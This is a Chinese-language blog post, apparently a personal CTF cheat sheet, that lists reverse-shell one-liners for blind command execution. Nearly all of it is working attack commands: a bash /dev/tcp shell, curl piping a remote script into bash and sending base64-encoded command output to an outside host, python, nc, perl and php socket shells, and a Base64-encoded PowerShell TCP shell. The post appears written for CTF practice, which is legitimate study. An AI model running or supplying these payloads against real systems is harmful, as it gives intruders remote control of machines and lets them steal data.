前言
ctf中经常执行命令没有回显,需要进行反弹shell,而不同的环境反弹shell的姿势也不尽相同,所以就在这里总结一下,自己以后遇到了什么新的姿势都会加进来。
比较常见的姿势
比较常见的基本就是bash反弹,python反弹和curl反弹了。
bash反弹shell
没啥好说的,因为太常见了:
bash -i >& /dev/tcp/118.xxx.xxx.xxx/39009 0>&1
curl反弹shell
其实有点类似bash反弹,一个例子如下:
curl http://118.**.**.***/shell.txt|bash
不过我一般都是这样
curl http://118.**.**.***/`ls`
直接在日志里看回显,不过这样有比较大的问题,比如你执行ls /,因为回显有换行,你只能看到第一行的结果,会显示不全,不过可以这样:
curl http://118.**.**.***/`ls /|base64`
而且因为传输的时候,可能读文件会有一些字符不能传过来,因为也需要base64加密一下再解密来保证数据的完整。不过这样稍微有点麻烦。
python反弹shell
一般是在SSTI的题目中,最后可以执行shell但是没回显。
以下两种都可:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('118.***.***.***',39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
使用是python3,还是python2或者python,根据环境来决定。
不常见的反弹shell
不常见的意思是我没怎么用过。。事实是下面这些反弹shell的方式我全都没用过,不过就当记录了,万一以后真能用到呢。
nc反弹shell
nc -e /bin/sh ip port
perl反弹shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.0.224.117:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
php反弹shell
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
powershell反弹shell
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient("174.1.52.162",6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))
powershell -nop -enc {
reverse shell command}
pty反弹shell
python -c 'import pty; pty.spawn("/bin/bash")'
参考链接:
反弹shell
扫描二维码关注公众号,回复:
12571787 查看本文章